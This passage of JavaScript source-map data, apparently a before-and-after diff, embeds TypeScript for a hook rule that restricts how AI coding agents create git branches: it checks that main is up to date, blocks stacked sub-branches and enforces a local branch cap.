AAwF,CAAC;IAC9F,cAAc,GAAG;QAC/B,eAAe,EAAE,yBAAyB;QAC1C,YAAY,EAAE,qBAAqB;KACtC,CAAC;IAEF,IAAY,YAAY;QACpB,OAAO,IAAI,CAAC,MAAM,CAAC,YAAY,IAAI,qBAAqB,CAAC;IAC7D,CAAC;IAED,IAAY,eAAe;QACvB,OAAO,IAAI,CAAC,MAAM,CAAC,eAAe,IAAI,yBAAyB,CAAC;IACpE,CAAC;IAED,qFAAqF;IACrF,0FAA0F;IAC1F,kFAAkF;IAClF,IAAI,OAAO;QACP,MAAM,OAAO,GAAG;YACZ,IAAI,iBAAM,CAAC,wHAAwH,EAAE,IAAI,CAAC;YAC1I,IAAI,iBAAM,CAAC,kEAAkE,IAAI,CAAC,YAAY,EAAE,CAAC;SACpG,CAAC;QACF,IAAI,IAAI,CAAC,MAAM,CAAC,IAAI,KAAK,mBAAmB,EAAE,CAAC;YAC3C,OAAO,CAAC,IAAI,CAAC,IAAI,iBAAM,CACnB,kGAAkG;gBAClG,2FAA2F,CAC9F,CAAC,CAAC;QACP,CAAC;aAAM,CAAC;YACJ,OAAO,CAAC,IAAI,CAAC,IAAI,iBAAM,CACnB,wHAAwH,IAAI,CAAC,eAAe,EAAE,CACjJ,CAAC,CAAC;QACP,CAAC;QACD,OAAO,IAAI,kBAAO,CACd,gFAAgF,EAChF,uDAAuD,EACvD,OAAO,CACV,CAAC;IACN,CAAC;IAED,KAAK,CAAC,GAAgB;QAClB,MAAM,aAAa,GAAG,iBAAiB,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC;QACrD,IAAI,CAAC,aAAa;YAAE,OAAO,EAAE,CAAC;QAE9B,IAAI,0BAA0B,CAAC,IAAI,CAAC,aAAa,CAAC,EAAE,CAAC;YACjD,OAAO,CAAC,IAAI,iBAAC,CACT,CAAC,EACD,QAAQ,CAAC,GAAG,CAAC,OAAO,CAAC,EACrB,gBAAgB,aAAa,oDAAoD;oBACjF,oEAAoE;oBACpE,wCAAwC,IAAI,CAAC,YAAY,GAAG,CAC/D,CAAC,CAAC;QACP,CAAC;QAED,8FAA8F;QAC9F,iGAAiG;QACjG,+EAA+E;QAC/E,IAAI,gBAAgB,CAAC,IAAI,CAAC,GAAG,CAAC,OAAO,CAAC;YAAE,OAAO,EAAE,CAAC;QAElD,MAAM,aAAa,GAAG,IAAA,wBAAQ,EAAC,iCAAiC,EAAE;YAC9D,GAAG,EAAE,GAAG,CAAC,aAAa;YACtB,QAAQ,EAAE,MAAM;SACnB,CAAC,CAAC,IAAI,EAAE,CAAC;QAEV,IAAI,aAAa,KAAK,MAAM,EAAE,CAAC;YAC3B,OAAO,mBAAmB,CAAC,GAAG,EAAE,aAAa,CAAC,CAAC;QACnD,CAAC;QAED,uFAAuF;QACvF,IAAI,IAAI,CAAC,MAAM,CAAC,IAAI,KAAK,mBAAmB,EAAE,CAAC;YAC3C,OAAO,CAAC,IAAI,iBAAC,CACT,CAAC,EACD,QAAQ,CAAC,GAAG,CAAC,OAAO,CAAC,EACrB,eAAe,aAAa,4DAA4D;oBACxF,wEAAwE,aAAa,eAAe;oBACpG,uCAAuC,IAAI,CAAC,YAAY,IAAI;oBAC5D,8EAA8E;oBAC9E,2FAA2F,CAC9F,CAAC,CAAC;QACP,CAAC;QAED,OAAO,CAAC,IAAI,iBAAC,CACT,CAAC,EACD,QAAQ,CAAC,GAAG,CAAC,OAAO,CAAC,EACrB,eAAe,aAAa,yDAAyD;gBACrF,4CAA4C,aAAa,iBAAiB,IAAI,CAAC,YAAY,IAAI;gBAC/F,gFAAgF;gBAChF,2CAA2C,IAAI,CAAC,eAAe,KAAK,CACvE,CAAC,CAAC;IACP,CAAC;CACJ;AA5FD,0DA4FC","sourcesContent":["import { execSync } from 'child_process';\n\nimport { BranchCreationGuardConfig } from '@webpieces/rules-config';\n\nimport type { BashContext, Violation } from '../types';\nimport { Violation as V } from '../types';\nimport { BashRuleBase } from '../rule-base';\nimport { FixHint, Option } from '../fix-hint';\n\n// Defaults used when the rule has no explicit value in webpieces.config.json.\n// branchFormat is a human sentence telling the AI how to name a branch created off main; it is\n// intentionally NOT the sub-branch convention (sub-branches are a separate, human-approved path).\nconst DEFAULT_BRANCH_FORMAT =\n 'Name it {whoami}/<short-feature-description> — lowercase, no version numbers, no sub/ prefix (e.g. dean/upgrade-webpieces)';\nconst DEFAULT_SUB_BRANCH_NAMING = 'feature/<ticket>/<short-description>';\n\nconst BRANCH_PATTERNS: RegExp[] = [\n /git\\s+checkout\\s+-[bB]\\s+([^\\s]+)/,\n /git\\s+switch\\s+-[cC]\\s+([^\\s]+)/,\n /git\\s+branch\\s+(?!-[dDmMrRla])([^\\s-][^\\s]*)/,\n];\n\n// A trailing `wp<number>` was the old squash-merge generation marker (base → basewp2 → basewp3).\n// The tooling NO LONGER produces it — a sync now lands back on the same feature name — but the suffix\n// stays RESERVED so a human branch can't collide with a leftover `…wpN` still floating in a consumer\n// repo mid-transition. Block it at creation time and steer the name back to the plain feature form.\nconst RESERVED_GENERATION_SUFFIX = /wp\\d+$/;\n\n// A branch-creation command that explicitly bases off origin/main (e.g. `git checkout -b feat\n// origin/main`). This is exactly the fresh-main base the guard wants, and it works from ANY current\n// branch or linked worktree — main need not (and in a worktree cannot) be checked out here. Allowed\n// unconditionally so the recovery messages can safely tell you to run it from a worktree.\nconst ORIGIN_MAIN_BASE = /git\\s+(?:checkout\\s+-[bB]|switch\\s+-[cC])\\s+\\S+\\s+origin\\/main(?:\\s|$)/;\n\nfunction extractBranchName(command: string): string | null {\n for (const pattern of BRANCH_PATTERNS) {\n const m = pattern.exec(command);\n if (m) return m[1];\n }\n return null;\n}\n\nfunction truncate(s: string): string {\n const MAX = 120;\n return s.length <= MAX ? s : s.slice(0, MAX) + '…';\n}\n\nfunction checkMainIsUpToDate(ctx: BashContext, requestedName: string): readonly Violation[] {\n execSync('git fetch origin main --quiet', {\n cwd: ctx.workspaceRoot,\n encoding: 'utf8',\n });\n const countStr = execSync('git rev-list HEAD..origin/main --count', {\n cwd: ctx.workspaceRoot,\n encoding: 'utf8',\n }).trim();\n const count = parseInt(countStr, 10);\n if (count > 0) {\n return [new V(\n 1,\n truncate(ctx.command),\n `Local main is ${count} commit(s) behind origin/main. Run 'git pull origin main' first, then retry creating branch '${requestedName}'.`,\n )];\n }\n return [];\n}\n\nexport class BranchCreationGuardRule extends BashRuleBase<BranchCreationGuardConfig> {\n constructor(config: BranchCreationGuardConfig) { super(config, 'branch-creation-guard'); }\n\n readonly description = 'Block new-branch creation when main is stale, or when branching off a non-main branch.';\n override readonly defaultOptions = {\n subBranchNaming: DEFAULT_SUB_BRANCH_NAMING,\n branchFormat: DEFAULT_BRANCH_FORMAT,\n };\n\n private get branchFormat(): string {\n return this.config.branchFormat ?? DEFAULT_BRANCH_FORMAT;\n }\n\n private get subBranchNaming(): string {\n return this.config.subBranchNaming ?? DEFAULT_SUB_BRANCH_NAMING;\n }\n\n // Mode-aware fix hints. Branches off main follow branchFormat — never the sub-branch\n // convention. The sub-branch affordance only appears under mode 'ON'; 'ON_NO_SUBBRANCHES'\n // hard-blocks it and points instead at the ignoreModifiedUntilEpoch escape hatch.\n get fixHint(): FixHint {\n const options = [\n new Option(\"Create it off fresh main from anywhere (incl. a worktree): git fetch origin main && git checkout -b <name> origin/main\", true),\n new Option(`Name a branch off main per branch-creation-guard.branchFormat: ${this.branchFormat}`),\n ];\n if (this.config.mode === 'ON_NO_SUBBRANCHES') {\n options.push(new Option(\n 'Sub-branches (branching off another feature branch) are disabled. To temporarily allow one, set ' +\n \"branch-creation-guard.ignoreModifiedUntilEpoch to a future epoch in webpieces.config.json\",\n ));\n } else {\n options.push(new Option(\n `If you truly need a stacked sub-branch (requires human approval), name it per branch-creation-guard.subBranchNaming: ${this.subBranchNaming}`,\n ));\n }\n return new FixHint(\n 'Cannot create this branch (main is stale, or branching off a non-main branch).',\n 'Create your branch from an up-to-date main. Pick one:',\n options,\n );\n }\n\n check(ctx: BashContext): readonly Violation[] {\n const requestedName = extractBranchName(ctx.command);\n if (!requestedName) return [];\n\n if (RESERVED_GENERATION_SUFFIX.test(requestedName)) {\n return [new V(\n 1,\n truncate(ctx.command),\n `Branch name '${requestedName}' ends in 'wp<number>', which is reserved for the ` +\n `squash-merge tool's generation marker (base → basewp2 → basewp3). ` +\n `Rename it to a plain feature branch. ${this.branchFormat}.`,\n )];\n }\n\n // Explicitly basing off origin/main is always allowed — it creates the branch from fresh main\n // regardless of the current branch, and is the ONLY way that also works inside a linked worktree\n // (where `git checkout main` fatals). Reserved-name check above still applies.\n if (ORIGIN_MAIN_BASE.test(ctx.command)) return [];\n\n const currentBranch = execSync('git rev-parse --abbrev-ref HEAD', {\n cwd: ctx.workspaceRoot,\n encoding: 'utf8',\n }).trim();\n\n if (currentBranch === 'main') {\n return checkMainIsUpToDate(ctx, requestedName);\n }\n\n // Not on main: creating this branch would stack it on a feature branch (a sub-branch).\n if (this.config.mode === 'ON_NO_SUBBRANCHES') {\n return [new V(\n 1,\n truncate(ctx.command),\n `You are on '${currentBranch}', not main. Create the branch OFF origin/main instead of ` +\n `stacking it on this branch: git fetch origin main && git checkout -b ${requestedName} origin/main ` +\n `(works here and inside a worktree). ${this.branchFormat}. ` +\n `You can temporarily turn this off if you truly need a sub-branch by setting ` +\n `branch-creation-guard.ignoreModifiedUntilEpoch (a future epoch) in webpieces.config.json.`,\n )];\n }\n\n return [new V(\n 1,\n truncate(ctx.command),\n `You are on '${currentBranch}', not main. Branches must be created from fresh main: ` +\n `git fetch origin main && git checkout -b ${requestedName} origin/main. ${this.branchFormat}. ` +\n `If you truly need a stacked sub-branch (requires human approval), name it per ` +\n `branch-creation-guard.subBranchNaming ('${this.subBranchNaming}').`,\n )];\n }\n}\n"]}
|
|
1
|
+
{"version":3,"file":"branch-creation-guard.js","sourceRoot":"","sources":["../../../../../../../packages/tooling/ai-hook-rules/src/core/rules/branch-creation-guard.ts"],"names":[],"mappings":"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","sourcesContent":["import { execSync } from 'child_process';\n\nimport {\n BranchCreationGuardConfig,\n DeletableBranch,\n MergedBranchesCache,\n MergedBranchesService,\n} from '@webpieces/rules-config';\n\nimport type { BashContext, Violation } from '../types';\nimport { Violation as V } from '../types';\nimport { BashRuleBase } from '../rule-base';\nimport { FixHint, Option } from '../fix-hint';\n\n// Defaults used when the rule has no explicit value in webpieces.config.json.\n// branchFormat is a human sentence telling the AI how to name a branch created off main; it is\n// intentionally NOT the sub-branch convention (sub-branches are a separate, human-approved path).\nconst DEFAULT_BRANCH_FORMAT =\n 'Name it {whoami}/<short-feature-description> — lowercase, no version numbers, no sub/ prefix (e.g. dean/upgrade-webpieces)';\nconst DEFAULT_SUB_BRANCH_NAMING = 'feature/<ticket>/<short-description>';\n\n// Hard cap on local feature branches. Enforced at CREATION because that is the one moment cleanup is\n// both cheap and obviously worth it — reaping happens over time, never \"ASAP\".\nconst DEFAULT_MAX_LOCAL_BRANCHES = 5;\n\n// A plausible git ref name. Deliberately NOT `[^\\s-]` — that class matches shell metacharacters, so\n// `git branch | wc -l` (a read-only LISTING, piped) was parsed as \"create a branch named `|`\" and\n// blocked. Cleanup work necessarily reads and deletes branches, so a listing must never trip this.\nconst REF_NAME = String.raw`[A-Za-z0-9][A-Za-z0-9_./-]*`;\n\nconst BRANCH_PATTERNS: RegExp[] = [\n new RegExp(String.raw`git\\s+checkout\\s+-[bB]\\s+(${REF_NAME})`),\n new RegExp(String.raw`git\\s+switch\\s+-[cC]\\s+(${REF_NAME})`),\n new RegExp(String.raw`git\\s+branch\\s+(?!-)(${REF_NAME})`),\n];\n\n// A trailing `wp<number>` was the old squash-merge generation marker (base → basewp2 → basewp3).\n// The tooling NO LONGER produces it — a sync now lands back on the same feature name — but the suffix\n// stays RESERVED so a human branch can't collide with a leftover `…wpN` still floating in a consumer\n// repo mid-transition. Block it at creation time and steer the name back to the plain feature form.\nconst RESERVED_GENERATION_SUFFIX = /wp\\d+$/;\n\n// A branch-creation command that explicitly bases off origin/main (e.g. `git checkout -b feat\n// origin/main`). This is exactly the fresh-main base the guard wants, and it works from ANY current\n// branch or linked worktree — main need not (and in a worktree cannot) be checked out here. Allowed\n// unconditionally so the recovery messages can safely tell you to run it from a worktree.\n//\n// The trailing check is `\\W|$`, not `\\s|$`: the ALLOW pattern must not be stricter about delimiters\n// than the BLOCK pattern above, or a `git checkout -b x origin/main` that ends at a quote or backtick\n// is seen as a branch creation but NOT as an origin/main one — recognised, then wrongly blocked.\nconst ORIGIN_MAIN_BASE = /git\\s+(?:checkout\\s+-[bB]|switch\\s+-[cC])\\s+\\S+\\s+origin\\/main(?:\\W|$)/;\n\n// Heredoc bodies: `<<EOF … \\nEOF` / `<<-'EOF' … \\nEOF`. Their content is DATA (a commit message, a\n// file being written), never a command.\nconst HEREDOC_BODY = /<<-?\\s*(['\"]?)(\\w+)\\1[\\s\\S]*?^\\t*\\2\\s*$/gm;\n\n// A single- or double-quoted span.\nconst QUOTED_SPAN = /'([^']*)'|\"([^\"]*)\"/g;\n\nfunction extractBranchName(command: string): string | null {\n for (const pattern of BRANCH_PATTERNS) {\n const m = pattern.exec(command);\n if (m) return m[1];\n }\n return null;\n}\n\nfunction truncate(s: string): string {\n const MAX = 120;\n return s.length <= MAX ? s : s.slice(0, MAX) + '…';\n}\n\nfunction checkMainIsUpToDate(ctx: BashContext, requestedName: string): readonly Violation[] {\n execSync('git fetch origin main --quiet', {\n cwd: ctx.workspaceRoot,\n encoding: 'utf8',\n });\n const countStr = execSync('git rev-list HEAD..origin/main --count', {\n cwd: ctx.workspaceRoot,\n encoding: 'utf8',\n }).trim();\n const count = parseInt(countStr, 10);\n if (count > 0) {\n return [new V(\n 1,\n truncate(ctx.command),\n `Local main is ${count} commit(s) behind origin/main. Run 'git pull origin main' first, then retry creating branch '${requestedName}'.`,\n )];\n }\n return [];\n}\n\nexport class BranchCreationGuardRule extends BashRuleBase<BranchCreationGuardConfig> {\n constructor(config: BranchCreationGuardConfig) { super(config, 'branch-creation-guard'); }\n\n readonly description =\n 'Block new-branch creation when main is stale, when branching off a non-main branch, ' +\n 'or when the local branch count is at its cap (forces cleanup of already-merged branches).';\n override readonly defaultOptions = {\n subBranchNaming: DEFAULT_SUB_BRANCH_NAMING,\n branchFormat: DEFAULT_BRANCH_FORMAT,\n maxLocalBranches: DEFAULT_MAX_LOCAL_BRANCHES,\n };\n\n private readonly mergedBranches = new MergedBranchesService();\n\n // Set by check() when (and only when) the cap is what blocked, so fixHint can render the reap\n // instructions instead of the branch-naming ones. Same instance-field handoff pr-merge-guard uses.\n private capCache: MergedBranchesCache | null = null;\n\n private get branchFormat(): string {\n return this.config.branchFormat ?? DEFAULT_BRANCH_FORMAT;\n }\n\n private get subBranchNaming(): string {\n return this.config.subBranchNaming ?? DEFAULT_SUB_BRANCH_NAMING;\n }\n\n private get maxLocalBranches(): number {\n return this.config.maxLocalBranches ?? DEFAULT_MAX_LOCAL_BRANCHES;\n }\n\n // Mode-aware fix hints. Branches off main follow branchFormat — never the sub-branch\n // convention. The sub-branch affordance only appears under mode 'ON'; 'ON_NO_SUBBRANCHES'\n // hard-blocks it and points instead at the ignoreModifiedUntilEpoch escape hatch.\n get fixHint(): FixHint {\n if (this.capCache) return this.capFixHint(this.capCache);\n\n const options = [\n new Option(\"Create it off fresh main from anywhere (incl. a worktree): git fetch origin main && git checkout -b <name> origin/main\", true),\n new Option(`Name a branch off main per branch-creation-guard.branchFormat: ${this.branchFormat}`),\n ];\n if (this.config.mode === 'ON_NO_SUBBRANCHES') {\n options.push(new Option(\n 'Sub-branches (branching off another feature branch) are disabled. To temporarily allow one, set ' +\n \"branch-creation-guard.ignoreModifiedUntilEpoch to a future epoch in webpieces.config.json\",\n ));\n } else {\n options.push(new Option(\n `If you truly need a stacked sub-branch (requires human approval), name it per branch-creation-guard.subBranchNaming: ${this.subBranchNaming}`,\n ));\n }\n return new FixHint(\n 'Cannot create this branch (main is stale, or branching off a non-main branch).',\n 'Create your branch from an up-to-date main. Pick one:',\n options,\n );\n }\n\n /**\n * Strip the parts of a shell command that are DATA rather than executable commands, so the guard\n * stops reading prose as instructions.\n *\n * This guard regex-scans the raw command string and has no notion of quoting, so\n * `git commit -m \"... git checkout -b foo ...\"` — or any heredoc commit message that mentions a\n * branch command — was parsed as an actual branch creation and blocked. That bit three separate\n * times while building the branch cap, including on the cap's own commit. It matters far more now\n * that the cap check runs BEFORE the origin/main allow: at the cap, a merely-MENTIONED branch\n * command would block your commit.\n *\n * A quoted span whose content has no whitespace is kept verbatim (it is a single token — the name\n * in `git checkout -b \"dean/foo\"`), so quoting a branch name cannot smuggle a creation past the\n * guard. Anything with whitespace inside quotes is prose, and collapses to a space.\n */\n private stripNonCommandText(command: string): string {\n const withoutHeredocs = command.replace(HEREDOC_BODY, ' ');\n return withoutHeredocs.replace(QUOTED_SPAN, (match: string, single?: string, double?: string): string => {\n const content = single ?? double ?? '';\n return /\\s/.test(content) ? ' ' : content;\n });\n }\n\n check(ctx: BashContext): readonly Violation[] {\n this.capCache = null;\n // Match against the command with heredoc bodies and prose-in-quotes removed. A commit message\n // that merely MENTIONS a branch command is not a branch command.\n const command = this.stripNonCommandText(ctx.command);\n const requestedName = extractBranchName(command);\n if (!requestedName) return [];\n\n if (RESERVED_GENERATION_SUFFIX.test(requestedName)) {\n return [new V(\n 1,\n truncate(ctx.command),\n `Branch name '${requestedName}' ends 